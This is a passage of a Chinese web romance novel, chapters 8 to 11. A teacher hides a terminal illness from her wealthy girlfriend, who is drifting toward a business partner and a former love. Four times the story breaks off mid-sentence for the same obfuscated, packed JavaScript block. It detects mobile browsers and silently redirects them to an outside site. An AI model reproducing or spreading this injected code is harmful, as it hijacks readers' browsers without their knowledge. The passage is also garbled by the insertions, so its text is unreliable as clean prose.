更何况，真的奢求了就能得到么？始终还是……没有太多的期待就不会有太多的失望吧？ 她并不想让黎漾太过难做。 可黎漾仍然觉得她不够爱她。 8. 第 8 章 · 祝春宴虽然和黎漾在一起七年，从大二开始一直到毕业之后的五年，整整七年。 但是她一直觉得她和黎漾在一起并不般配。 首先是两个人之间的身份就有着巨大的鸿沟。 千万别说现在还说什么“门当户对”的多不合适，追求的不应该是自由恋爱、人人平等？ 可是有时候家世决定的就是眼界、人生选择的多样性，以及……家世所赋予一个人的责任。 毕竟享受了福利就要承担必要的责任，这是非常正常的事情。 所以黎漾身边总是无时无刻地围绕着非常多人，衣香鬓影、觥筹交错、纸醉金迷……所有的所有的这些代表繁华、奢侈、权力、欲望的词语都能用在她身上。 她是遥不可及的，又是极其耀眼的。 她不应该和她相遇，就算相遇了更不应该相爱。 她祝春宴在她眼里又算是什么？一个破落户。 祝春宴不是没过过好日子，但那也是很久很久之前的事情，久到……她都要忘记她曾经也是一个……在幸福面前唾手可得的小孩。 她小时候也曾经有过一个幸福的家庭，只是好景不长，父母相继离婚。 她的母亲远赴重洋后来再嫁，她的父亲即使留在国内那也没有负起抚养的义务，父母双方都只当她是拖油瓶，给了她一笔钱打发了事。 她最终来到了阿姨家，她妈妈妹妹的家里，初时日子还是过得好好的，她父母虽然抛弃了她但是好歹给她留了一大笔钱，不至于让她阿姨一家嫌弃她。 然而到了她初中的时候，她的阿姨开始患病，一开始还没有发现那可能是家族遗传病，到了后面……逐渐觉得不妥，为了帮阿姨治病他们一家可以说是倾家荡产也不为过。 就连她父母给她的那一大笔抚养费……都让她阿姨治病花光了，直至最后连她阿姨都没有救回来，就这么……这么变成一张薄薄的皮离去。 祝春宴到了高中时候已经非常穷了，她曾经也是家里的宠儿，可是到了如此年纪……人情世故、是非黑白早已经看得分明，也能看清楚自己真正想要的是什么。 所以转学之后她就拼命读书，暗暗告诉自己要闯出一条生路来。 这并非是一件容易的事情，甚至是说非常难，她也压根没时间去想那些情情爱爱的，所以她才一开始就回绝了黎漾对她的感情。 其实她那时候也不明白为什么黎漾会看上她这样的穷酸学生，她觉得自己什么都给不了她，她们活在两个完全不一样的世界里。 后来……她终于被她打动在大二时候正式在一起，时光匆匆而过，一晃就是七年。 而这段感情到了现在……似乎要给它画上一个句号了。 只是，祝春宴还是想在自己真的撑不下去之前……尽量地多留在她身边一会儿，这样……以后谁都不会留遗憾。 这一通电话并不算特别愉快就结束了，祝春宴到了现在好像也无法彻底改变自己。 而且，她也不想改变自己，她是为了更好地和黎漾告别的，而不是再这般让她对自己刻骨铭心。 那……根本没必要。 祝春宴挂了电话之后平复了好一会儿便拿着辞职报告打算去找春雨特殊学校的校长了，她今天必须要辞职。 姜南烟恰好进来办公室要午休吃饭，看见祝春宴手里拿着的辞职报告，心里一沉，脸上又是惆怅起来。 只是不等她说什么话祝春宴便主动对她说道：“姜老师，我昨晚做了不少菜吃不完，如果你和别的老师都想吃的话可以一起吃哦，我都热好的，也没有变质，都放在桌子上，还有一些新鲜的凉菜，喜欢的话也可以吃。” 黎漾因为胃不好她不敢让她吃隔夜菜，平时她也不会拿隔夜菜给同事吃，但昨晚……其实那些菜她几乎都没有动过，加上好好保存的话，让老师们一起吃也是没问题的。 “祝老师……你……你真的要……辞职么？”姜南烟知道祝春宴厨艺好，平时如果听见这样的消息的话她会高兴得飞起来，可现在……她只剩下惘然。 “是，我打算给自己放一个长假，不过放心好了，我会将手头上的工作都交接好给你们的。”祝春宴笑着说道，也不等她继续去问她便拿着辞职报告轻松离开了。 姜南烟看着她毫不犹豫离开的背影心里愈发撕扯着疼痛，却是一句话都无法说出，最后只能垂头丧气地回到自己的办公位。 祝老师这么好的人……怎么会遇到这样的事情？ 祝春宴去到校长办公室的时候恰好遇到叶沐白，她应该该和校长谈完一些事情出来，看见她过来立即不屑地轻哼了一声，又像是炫耀般向她说道：“祝老师，这个季度的家长和学生的好评以及职称的评估……我都遥遥领先了，真不好意思，改日拿了奖金请你吃饭安慰安慰你好了。” 叶沐白也是春雨的专家，还是她的大学校友，比她小一届，她一向和自己不对付，平时总是单方面将她当作是死对头。 祝春宴听着她的话倒没觉得有什么，甚至觉得她还挺有干劲，也就笑着说道：“吃饭就不用了，恭喜你，希望叶老师再接再厉，争取下次拿到更好的成绩。” “你……”叶沐白觉得她是在嘲讽自己但是她没有证据，看见她手里拿着的居然是辞职报告十分错愕：“你……你要辞职？” “嗯，斗不过叶老师觉得太丢人了所以辞职离开。”祝春宴半开玩笑地对她说道。 “开什么玩笑？”叶沐白还想和她多说几句但是祝春宴已经不理会她了，而是径直进了校长办公室和校长说正事。 校长是一个看上去面相和蔼善良的中年女人，事实上也的确很好说话，看见祝春宴进来手里还有一封很是正式的辞职报告微微蹙了眉：“祝老师，真的要辞职？” 祝春宴的确是春雨里的首席专家，即使叶沐白很优秀和祝春宴比还是差那么一点儿的。 她这个季度的评分之所以不够叶沐白来不是因为犯了什么大错，而是她请假太多次了，来学校的次数并不多。 现在…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262406|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居然都要辞职了？ 她略带了担忧看向她：“祝老师，你的身体……是不是不太好了？” “体检出来的结果的确不太好，肺部好像也有点问题，”祝春宴尽量使自己的口吻轻松点：“我这次可能真的要放一个长假了。” “放长假就放长假不需要辞职。”校长很是重情义，主要是祝春宴这些年来真的是帮了春雨非常多，她如何都不可能在她患病的时候辞退她。 “校长，这一别……很可能……” “不论如何，春雨永远给你留一个席位。”校长打断了她的话，似乎也猜到她想说一些什么，微微严肃了语气看向她，并不想听她继续说下去。 祝春宴拿着手里的辞职报告略带无奈地看向她，心里还是感动。 这或许也是她热爱这份工作的原因吧。起码春雨算是一个充满爱的地方。 最后职还是没辞成，那封辞职报告还被校长给接过来撕毁了，决心十分郑重，让祝春宴哭笑不得。 校长在她离开之前给了她一个拥抱，眼底不掩担忧：“你这孩子……总是帮别人……也不让别人帮帮你……不论如何有什么事情都可以找我们春雨帮忙，我们永远向你打开大门。” “好，谢谢您。”祝春宴也用力搂了搂她，有一种久违的被亲人关心的滋味。 她忍住泪意离开了校长办公室，没有勇气再回去教师办公室，她不擅长去应付这种矫情的局面，老师里估计有不少知道她发生了什么事情。 她在教师办公室前转身便要离开，只是还没有动作，她的衣角便被扯了扯，侧头对上一双被一束稚嫩绒花挡住了的眼睛。 她认得出这是她所负责的小朋友之一，刚想对她说一些什么，她立即将绒花塞到她手里然后飞快跑开。 待离她五六米远之后才腼腆地对着她打着手语说明来意。 这个小女孩名叫欢欢，来春雨两年了，不仅是一个自闭症孩童，天生声带受损说不了话，只能用手语交流。 一开始情况非常不好，后面经过干预之后才逐渐活泼起来，发现她的手非常巧，经常会做一些小手工给她。 这是祝春宴所收到她的第五份手工了，进步非常大，根本看不出这是一个6岁小朋友做出来的。 祝春宴看明白她打的手语也笑了起来，对着她打了几下手语让她好好学习，将来争取回到正常学校生活。 她和她交流完之后不再停留，转身离开，快要坐电梯的时候姜南烟还是忍不住从教师办公室里冲出来，冲到她面前将她死死搂住，泪流满脸。 她实在是无法接受和她朝夕相处好几年的祝春宴就这般离开，还是因病离开。 “好了别哭别哭，会不漂亮的。”祝春宴安慰她。 “可是……可是……我真的舍不得……”她说不出话来，很害怕这一别就是永别，她真的什么话都无法说出来。 而她们并不知道的是，有人将她们在盛大温暖日光之下深情拥抱的画面拍摄下来，然后……直接发送给黎漾—— 9. 第 9 章 · 【小黎总，这应该是你的女朋友和她的同事？我拍照技术不错对吧？】 程素熙正要领着自己的侄女馨馨离开，刚从小教室出来便看见眼前这一幕，自然不会放过眼前这样挑拨离间的机会。 她将照片发过去给黎漾也不多说一些什么，只是说明自己的所见所想，至于黎漾怎么想？ 那还是要看黎漾和祝春宴之间的感情是不是真的十足深厚，外人无法插手。 这些都是程素熙想要知道的。毕竟，现阶段来说，她和黎漾联姻是能获取利益最大化的。 不仅如此，黎漾……这样的人……征服了的话那会是一件很让人愉悦和有成就感的事情。 她自然不吝啬付出时间和精力。 黎漾刚刚到达公司处理了一些事务，便看见程素熙发信息来了，看见照片中在阳光之中拥抱的两个人。 祝春宴手里还要拿着一束精致的花束，她的唇都快触碰到对方的发顶了，温柔至极，实在是唯美。 她盯着照片上的二人看了好一段时间，最后才将照片给保存下来，回复程素熙：【程总，中午12点半不见不散。】 程素熙看着她的这个回复自然看不出什么来，有些无趣，但不管如何，怀疑的种子总归种下了？她拭目以待。 * 祝春宴艰难和春雨这边的同事告别之后，怀着微微沉重的心情离开，她咳了两声，只觉深秋的风还是让人不怎么舒坦的。 也没想到姜南烟对她的感情这么深，将她的肩膀都哭湿了，真的是个傻姑娘。 她叹口气，习惯性地按了按肌肉还不断跳动的左上臂，微微垂了眸不再去多想。 姜南烟回到教师办公室后，叶沐白大概是看她哭哭啼啼的模样不顺眼加上被祝春宴辞职的事情烦躁到，语气不善地说了句：“哭哭哭！哭什么！她都走了不要你了还哭什么！忘恩负义、临阵退缩的孬种。” “她才不是！她没有对不起任何人！”姜南烟听着她不由分说骂她，脾气彻底失控，哭得更伤心了：“她病了，她病得很严重……她……她没有对不起任何人，你根本没资格评价她！你不配！” “你说什么……你说祝春宴……病得很严重？”叶沐白看着她哭得妆容都花了不像有假，心脏沉沉坠了一下，一个字都说不出来。 歇了良久她才听见自己问道：“她……她究竟患了什么病？” * 祝春宴离开春雨之后又是驱车去了大学一趟，找到自己的直属领导，有关自闭症干预与治疗的另外一位教授提交了请辞，说明了部分理由。 这位教授对她非常好，自然不想她辞职，毕竟有关这方面的干预以及治疗的专业人才真的很少很少。 学校近年来也在扩大这方面的人才培养，再加上祝春宴有到国外学习过更加是舍不得她离开。 因为她真的是足够优秀。 而且，病了的话也可以先请病假停职，等病治好了再回来教书也是可以的。 几番交涉下来祝春宴最后又是没有辞职成功，甚至教授还为她申请除医保之外别的医疗补贴，让她安心养病。 祝春宴心里感到了一股难以言喻的暖意。 她从前总觉得自己没朋友，尤其和黎漾在一起之后更加是这样。 黎漾不喜欢她和别人走得太近，下班除非必要社交聚餐，否则要准时回家一起吃晚饭。 她们两人都忙，大学时候还不是在同一所大学，想要见上一面不是一件容易的事情，后来毕业之后更加是这样。 她本身不是一个爱社交的人所以觉得黎漾这样的要求没什么问题，后来出来工作之后随着黎漾工作日益繁忙，两人一起吃饭的次数其实少了很多。 只是像是昨晚那样迟了两小时回复并且拒绝她的事情……真的是第一次。 祝春宴不习惯，但是好像也不得不逼着自己去习惯了。 从大学出来已经是下午三点多了，不过她这学期其实是有选修课要上的，所以一时半刻的确无法立即离开，起码要将本学期的课都上完才能够离开。 出来的时候恰好遇到学生下课，见到她教的学生也下课了，纷纷和她打招呼，热情至极。 祝春宴笑着也和他们打招呼，没多少架子，她人又年轻，这其中有不少学生特别喜欢她。 加上她和黎漾之间的关系他们也是有目共睹，为她增添了一丝神秘又八卦的色彩。 祝春宴从大学出来之后收到了同城快递的电话，她约了对方来大学这边送，自然是保密送货。 所以很快就出了学校去接收，拿到手里的时候心里还是扑通扑通地乱跳，这样越轨出格的事情还没有做真的是刺激。 傅意安见她还没有来实在是心急，又是给她打了个电话催促她，那架势……她再不来真的要杀人了。 祝春宴满腔紧张都要被她浇灭，也打消了在自己的车上拆开快递来看看的心情，直接驱车去了医院。 其实她去看病的医院就在黎氏医药集团的不远处，一抬头就能看见高耸入云的摩天大楼，而黎漾就在这最高的权力处，将底下的所有都尽收眼底。 她们……真的生来不同。 祝春宴停好了车来到傅意安的办公室，傅意安看见她终于到来，紧皱着的眉头才稍微松了松：“来了？你肺部的体检报告出了，现在你可能患有‘肺血栓栓塞症’，这个病的成因也有不少，可能是遗传的也有可能是其他原因造成……” 她说到这里顿了顿，语气微微艰涩：“春宴，你最近有没有咳血的情况？” “……有。”祝春宴还没有看完自己的体检报告，也不知道傅意安说的“肺血栓栓塞症”是什么，但是现在看来应该是挺严重的病症，不然她也不至于咳血。 “……咳了几次？”傅意安是真的心疼啊，恨不得她立即住院哪里都不要去。 “2次。”祝春宴没有隐瞒，如实相告。 “2次？！”傅意安微微抬头闭了闭眼，平复了一下心情对祝春宴说明这个病的危险情况：“这个病致死和致残率不低，之后也可能会出现呼吸困难、晕厥、心悸等等的症 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262407|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状，我现在还是建议你立即入院治疗，不能再拖了。” “我现在这种咳血的症状……应该不是急性的？”祝春宴听完她说这些之后并没有立即作声，而是将那份体检报告看完了才斟酌地对她说道。 “你是什么意思？”傅意安听着她的话觉得不妙，“你现在是不想治病等死的意思么？” “我不是不想治病，我是不想住院。”祝春宴其实对医院有极深的恐惧，她非常不喜欢医院，非必要的话她根本不会选择来医院。 现在还让她住院……这住院也不是一两天的事情，再加上她现在患的病症……除了肺部的这个问题之外，是绝症，她再如何医治在医院里都是等死。 又是如何让她能住下来？只会让她死得更快罢了。 “你这个病……不住院的话我害怕会加重，到时候如果变成急性的那就非常麻烦了。”虽然现在祝春宴的情况已经非常糟糕了，已经不是随便将她放走那么简单了。 “会不会诊断有误？我觉得我现在的状态还是挺好的。”祝春宴觉得自己的情况好像没她说得这么严重？ 除了咳血的确存在之外，其他的……好像并不明显，她觉得自己可以不用住院。 而且，说不定这也是由那个病引起的一些并发症也说不定，她不认为自己需要住院治疗。 “做的是CT肺动脉造影的检查，确诊的就是这个，你别倔了春宴，赶紧住院。”傅意安的语气已经严肃起来了。 “给我几天时间，如果真的不舒服的话我来住院，现在你可以给我开点药什么的观察一下，我会定期回来复查。” “你为什么这么倔强？”傅意安实在是不明白：“是担心黎漾担心还是别的什么？”现在难道不是自己的身体更重要么？ “我的确是怕她担心，但更多的还是……我时间真的无多，我不想浪费在医院里，如果迫不得已需要住院的话我肯定会来。” 傅意安沉默，歇了一会儿才说道：“你另外的病……神经退行性疾病那个，国内研究特效药的实验室不是很多，但我记得黎漾家的实验室有研究过这个，就是没有披露进展，如果可以的话，你问一问她。” “春宴，没有到最后一刻……你不要放弃自己，你还有很多人在背后支持你的。” “而且，你真的舍得让黎漾一个人留在这个世界上么？” …… 再从医院出来已经晚上六点多了，祝春宴没有住院，但是吸了不少时间的氧气，这样可以稳定她的情况。 傅意安察觉她还发着烧又是让她打了吊瓶，铁青着脸气得不轻。 祝春宴直接去找黎漾，刚到她公司楼下，还没给她打电话，便听见前面一辆阿斯顿·马丁DBX“哔”了一声，前窗降下，露出黎漾那张冷艳妖娆的脸。 祝春宴在夜幕之下对她露出了一个笑，走到她面前先和她打了个招呼。 黎漾静静地看着她走过来，率先伸手摸了摸她的额头，察觉她退烧了这才放心下来，主动将她略带苍白的俏脸拉近，吻上了她的唇。 10. 第 10 章 · 今天的夕阳很漂亮，橙中带着紫蓝渐变色，像是一大幅绚烂的画卷在天空中徐徐铺开，在夜幕降临之前竭尽全力去舒展自己完美又让所有人惊艳的一面，无法令人忘怀。 她们就在天幕之下静静接吻，周围的喧嚣以及忙碌全都离她们而去，只剩下心脏噗通跳动以及唇上辗转碾磨的柔软触感。 不知是夕阳让人沉醉还是黎漾主动给她的吻更加让人沉醉。 祝春宴没有闭眼，一直这样垂着眸深深地看着她。 仿佛……见一面少一面。 “吃药了？一股药味，苦。” 也不知道过了多久，黎漾终于停了下来没再亲她，只是舌尖萦绕着一股苦味，虽然谈不上讨厌，事实上她更加关心她的身体，可还是嗔了她一句。 “该。”祝春宴非但没有可怜她，还半开玩笑对她说了这个字。 黎漾不满，抬手轻轻拍了拍她的手臂，眼神依然透着一股勾人的缠绵，蚀人心魂，她就是这般明艳的千金大小姐，又有谁能拒绝她呢？ 祝春宴上车，坐了副驾驶座，只是她看到了座位上多了一根深棕色的长发，和今天所看见程素熙的长发颜色是一样的，论长度……也差不多。 想起她们今天中午一起约着去吃饭，如果是黎漾开车接送的话……程素熙在副驾上留下长发也算是应该的。 这不代表什么。 只是，终归感慨的是，从前的黎漾……不论如何都不喜欢她开的车的副驾让除她以外别的人去坐。 祝春宴本人觉得无所谓，黎漾却是不满，说她不够重视她，也不会提出自己作为她的女朋友所能提出的要求，硬是和她冷战了好几天，最后还是强迫着她说出“我不喜欢别人坐你的副驾”这样的话才罢休。 时过经年，这些印记早已被流光冲刷得只剩下她一个人记得。 祝春宴垂了眸，悄无声息地将手里的头发扔到车外，然后，忍着不适坐到了副驾关上了车门。 黎漾一无所觉，和她聊起了今天的一些趣事，祝春宴看着窗外的车水马龙无心谈笑，治疗过后的疲惫涌上心头，她还说今晚要给黎漾惊喜……怕且回家之后就要没有力气了。 “祝老师，好累？”等红绿灯的罅隙间，黎漾靠近她，调皮地咬了咬她的脸。 祝春宴微微吃疼，侧眸看她，眼前依然朦胧，映得黎漾的模样愈发香暖花浓，仿佛又是回到高中最“无忧无虑”的时候，她做题做累了歇息一会儿她却是调皮捣蛋不让她歇息，非缠着她给她讲题。 她忍不住伸手捏了捏她的脸：“别闹。” “哼，难得和我出来约会吃饭你竟然让我别闹？我要生气啦。”黎漾倒没被她捏疼，只是觉得祝春宴的情况的确不太对劲，她有些担心。 “今天学校里的事情的确有些多，不过接下来我可以放一个长假了。”祝春宴恢复了点精神，揉了揉被她咬疼的脸，故作轻松地笑着对她说道：“你可要多抽一些时间陪我。” “放长假？”黎漾听见她的话没能忍住看了她一眼，红绿灯换了可以继续往前走了，“怎么突然想到放长假了？” 要知道祝春宴可是出了名的工作狂，去春雨做高级顾问还不够还要在大学教书育人，虽然两份工作看着都挺轻松的，但是其实一点儿都不。 不过，她觉得她特别厉害的一点是，无论多忙她都不会忽略她，也会尽可能抽空去照顾她，而且从来不厌烦。 就只是……这样有条不紊、循规蹈矩的生活过久了之后总是有些腻。 她不太喜欢。总想寻求一些别样的刺激。 “累了就想歇一歇，我准备了不少计划想和你好好去实现。”祝春宴心情似乎不错，笑着对她说出这样的话。 “都有哪些？”黎漾好奇，觉得她并不是开玩笑，都安排好了一切了。 “之前不是说想和你一起去北极看极光？这是我其中想完成的。” 这其实是祝春宴最想完成的愿望之一，她私以为极光是世上最美好最神圣的风光，没有之一，可以容许她贪婪的祈愿。 她希望黎漾长命百岁、余生顺遂，做什么都能得心应手，当然了，肯定要再找到她喜欢的人，不要为她停留。 “除了这个呢？还有别的么？” 黎漾知道祝春宴是一个很有规划和计划的人，大部分写下的计划都会去完成，行动力和执行力真的比一般人要强很多。 这也是她能有今天的原因。 “黎漾，我们在一起……已经第七个年头了吧？”祝春宴的语气突然认真了点，也带了点严肃：“你……还愿意和我一起走下去么？” 她说这句话的时候眼睛不经意地落到她握着方向盘的手腕上，看到她新戴了一只腕表，这腕表她其实前不久才看到过，程素熙左手手腕上有一只一模一样的。 祝春宴觉得自己有些气闷，好像都快喘不上气来的感觉，明明她不久前刚在医院里吸过氧，依然不舒服。 就连这段刻骨铭心的感情……似乎都在明晃晃地告诉她现在已经开始了倒计时。 她心里暗叹，觉得自己好像问了个愚蠢的问题。 “叮铃铃——” “稍等。”黎漾听见她问这个问题安静了一瞬并没有立即说话，恰好她的手机响了，按下耳机接听，给祝春宴的感觉好像松了一口气那般。 她刚刚提的问题有这么难回答么？ 这回打电话给她的不是程素熙，而是另外一个女人，祝春宴看到她手机屏幕上的备注：孟知虞，黎漾的初恋。 祝春宴转过头去看向窗外，也不太想听她们之间的对话，她觉得自己的心情实在不太妙。 黎漾倒是没和对方对话多久，很快便挂掉了电话，仿佛刚刚说了什么好玩的事情那般，唇边还有笑意。 歇了好一会儿她才发现车内氛围不是很好，祝春宴一直看着外面，抿紧了唇，面无血色。 黎漾看着她这副模样忽而有些烦躁，她虽然想要祝春宴时刻着紧她、关注她，但并不喜欢她动不动就摆脸色让她看。 又不是她打电话给孟知虞的，是对方快要回国了非要找她。 她也不是那种三心两意的人，这七年来，她除了和她还有和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262408|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁在一起过么？ 至于一个电话就让她和自己冷战？好歹问她一句吧。 黎漾和她赌气，故意吊着她不提问，非要让她主动问她。 祝春宴从头到尾沉默，没有顺着她的心意去问她，不知道是不在乎还是要和她怄气。 总而言之，在到达目的地前，两人没有再说哪怕一句话。 * 黎漾这次安排约会吃晚饭的是一个新的地方，是黎氏集团最近新落成的，也是青桐市最新的地标，共有198层，分为4个部分，简直是集吃、喝、玩、乐、办公于一体。 说是一个新的商业以及生活广场也不为过。 她带着祝春宴来到66楼，这里45楼至80楼都是吃和玩的，她自然不会在吃的方面亏待祝春宴，特地带她来吃海鲜。 两人在电梯里也没有说话，黎漾不是很能承受这种莫名的冷待，想起中午程素熙给她发的那张照片，她还没有向她发作呢，反倒是她向她耍起小脾气了？ 实在是可笑。 “祝春宴，你今晚是不是都不打算和我说话了？”黎漾没好气地对她说道：“不就是孟知虞给我打了个电话而已，我也没和她说一些什么，那些陈年旧事你还要放在心上啊？” “我没有。”祝春宴的确有些不高兴，但是不至于让她和黎漾到达冷战的地步。 她只是觉得身体不太舒服，刚刚下车的时候……左手好像突然不能动，她莫名怕了起来。 如果……她的病提前恶化的话，怕是无法呆在黎漾身边多久了，更别说什么冷战。 现在她歇了一会儿才觉得自己的左臂慢慢地能动起来，这才稍微松了一口气。 以她现在的情况……她根本没资格和黎漾冷战或是做一些别的什么，她是一个将死之人，更加在意的应该是和黎漾之间相处的时间。 “你没有？” 电梯层数还在不断往上，电梯里也只有她们二人，黎漾看着她一脸恹恹乏了的模样不知怎的更加生气，一把将她推到电梯的壁上，咄咄看着她，似乎也有些委屈，但更多的还是极强的侵略性。 她微微踮起了脚勉强与她的视线平齐，呼吸落到她颈侧，莫名带了点妖冶和霸道：“你有什么不高兴的，有什么对我不满的，向我直说不行？我们都在一起这么久了，还有必要藏着掖着么？” 她的力度不算很大，祝春宴不敢动自己的左手，而是伸出右手悄无声息地搂了她的腰：“脾气真的大。” “我脾气一向大，你又不是第一天认识我。” 黎漾看着她这张明明算不上一眼惊艳偏偏令人念念不忘的脸又是生不气来了，念在她今天生病的情况下她就原谅她好了。 “那我刚刚在车上和你提的……我们抽空去北极看极光的要求，你答应我么？” 祝春宴平时不是那么死缠烂打的人，但是这回忍不住第三次问她，希望能得到她一个确切的答案。 然而黎漾这回再次选择逃避，她垂下了眼睫，连借口都懒得敷衍，祝春宴只觉得自己连心口都有些麻了。 麻得……发疼。 11. 第 11 章 · 祝春宴无法强迫黎漾答应，想来黎漾已经将她的事业看得比别的还要重要，她早应该去习惯。 她本想以去北极看极光来纪念她们在一起的七周年。 按照她的预想，如果没被检查出这么严重的病症的话，她恐怕还会准备求婚。 毕竟她们在一起七年，虽然这期间小波折还是有一些的，但是总体上来说感情十分稳定，她觉得也是时候和黎漾成婚了。 怎料，命运还是没有放过她。 她本来还觉得遗憾，现在……黎漾亲手为她作出了决定。 不需遗憾。 但是，七周年纪念日还是要庆祝的，这可能是她最后一次和她庆祝了，再落寞和难过都不能错过。 就只是……她要重新再想一些能让黎漾印象深刻的点子才行。 这顿饭吃得也没有想象中和睦，虽然祝春宴已经恢复平静且表现出恰到好处的热情，表示自己可以不在意，也谅解她。 然而，在她们的对话和互动被黎漾的电话或是信息打断了12次之后祝春宴再无兴致。 她又想起了从前，从前……黎漾从来不会在她们单独相处时接电话处理工作，甚至连手机都不看。 因为她说过的，那是不尊重她，她也希望她们之间的相处是只有彼此的。 现在……她又破戒了。 祝春宴垂下了眸子，掩下眸底的落寞。 好不容易吃完这顿真的谈不上高兴的饭，黎漾临时有工作需要处理，让她开车送她回去，祝春宴拒绝。 黎漾多看了她一眼，最终还是叫来司机载她们回去。 祝春宴没有多作解释，她只是害怕自己的左手突然又是动弹不得，到时候她可是会让她丢命的。 黎漾却以为是自己冷落了她而让她生气，她忙于工作根本没耐心哄她，回去的路上两人还是一句话都没有说。 祝春宴打开平板上的一些专业书籍打算打发时间，看见有本有关神经退行性疾病的书。 其实这本书她已经看过很多遍了，书里讲述的是一个也罹患了神经退行性疾病的人的故事，她也因此知道了自己即将面临什么。 现在那个人已经死了，确诊前几天她就看到了相关新闻。 其实就算不看这本书她也清楚知道她所患的是什么病。 毕竟这从一定程度上说也算是家族遗传病，初中到高中那几年，她看着她的阿姨一点点地变成了一张画皮继而痛苦离世，她早知道她将来也会面临这些。 她小姨本来有个幸福和美的家庭因为这个病……而变成了地狱，姨父终日赌博酗酒，欠债无数，连她爸妈给她的一大笔生活费都填了下去，仍旧堵不住窟窿。 可她阿姨最后还是救不回来，与世长辞。 她又变成了无家可归。幸好有黎漾。可是现在黎漾…… 祝春宴最后还是没点进那本书去看，反倒是有个意想不到的人发信息问候她的情况，是她在春雨的“死对头”，叶沐白。 叶沐白十分矜持：【在？】 祝春宴其实觉得这个大学的学妹挺有意思，心情稍微好转：【在。】 叶沐白：【你是不是怕了我所以才用那样烂的借口去敷衍我？】 祝春宴：【你也可以这样想。】 叶沐白：【什么我也可以这样想？！你不要以为你不来春雨我就会让步，我肯定要将你给找出来，无论天涯海角！】 祝春宴：【没想到你还是个受虐狂。】 叶沐白在那边看着她这个回复更加是气不打一处来：【给我好好回答别敷衍我！】 祝春宴：【叶老师，我从来没敷衍你，接下来我其实也要来春雨几次，毕竟我还要交接手头上的工作，我的学生就拜托你了。】 叶沐白看着她平静又认真的语气知道祝春宴所说的都是真的，她一时半刻无法接受，发了狠似地回复过去：【我才不接手！你赶快给我好起来！】 祝春宴再无回复。 车行快一个小时终于要到达黎漾的家。 祝春宴看着她们还没回去就已经灯火通明的别墅，恍恍惚惚地想，或许她现在也要着手准备接下来住的地方了，不然……被黎漾赶出来没地方住那是多难堪。 她正这般想着她们身边又有一辆车擦肩而过，祝春宴认出这正是她上午开车下山时见到的那辆眼生的车，很可能是黎漾新的邻居。 只是对面那辆车的玻璃已经遮得严严实实的，根本看不清里面坐的人。 祝春宴只好收回目光。 “祝老师是不是还生我气？” 那边，黎漾已经处理好了工作，侧头看着祝春宴，看见她面无血色却极白的侧颜，心里那口郁气莫名其妙散了。 她坐到她身边蛮横又霸道地将她的手给握紧，与她十指紧扣，不留一丝罅隙，温热的呼吸氤氲在她耳廓，不一会儿又是染上了一层薄红。 黎漾觉得这也是她对祝春宴总腻不了的原因。 虽然在那种事情上她总是很温柔让她无法很好得到满足，但她其实还能忍受的，原因无他，她身上每一处会因为她的靠近泛起红意的地方她都知道，全都能精准把握。 有时候看着她无意识地染上薄红继而不知所措又非要冷着脸对着她的时候，她觉得这也是一种乐趣。 一种掌控猎物不让猎物逃脱的乐趣。 她乐此不疲。 但抛开这些……再去品祝春宴，又觉得她分外无趣，给不了她多少新鲜感。 “没有，现在你的事业正在上升期自然还是事业更重要点，有空理理我就可以了。”祝春宴看着她们相握的手语气平静地说道。 “看看看！还说没生我气？这话都让我愧疚了。” “那我的目的岂不是在无意间达成了？”祝春宴强撑起精神笑着对她说道。 “宴宴我最近的确在忙，我和程素熙其实也没什么，我和她打交道主要是为了顺利拿下城南那块地，好用来做新的药物研发工作室，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262409|182117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然我也不需要这么忙，”黎漾耐心哄她：“等这些都解决了我就可以好好陪你了。” “你的实验室……是不是有专门研发神经退行性疾病的？现在进展还好么？”祝春宴虽然在心里还是不抱期待，但还是这般问道。 “你怎么突然这么关心这个项目了？”黎漾虽然疑惑但并没有多想：“进展不大，所投入的资金还很多，而且，就算研发出来……能回本也有限，我打算停了这个项目不再研究，将资金放到别的医美项目上更好。” 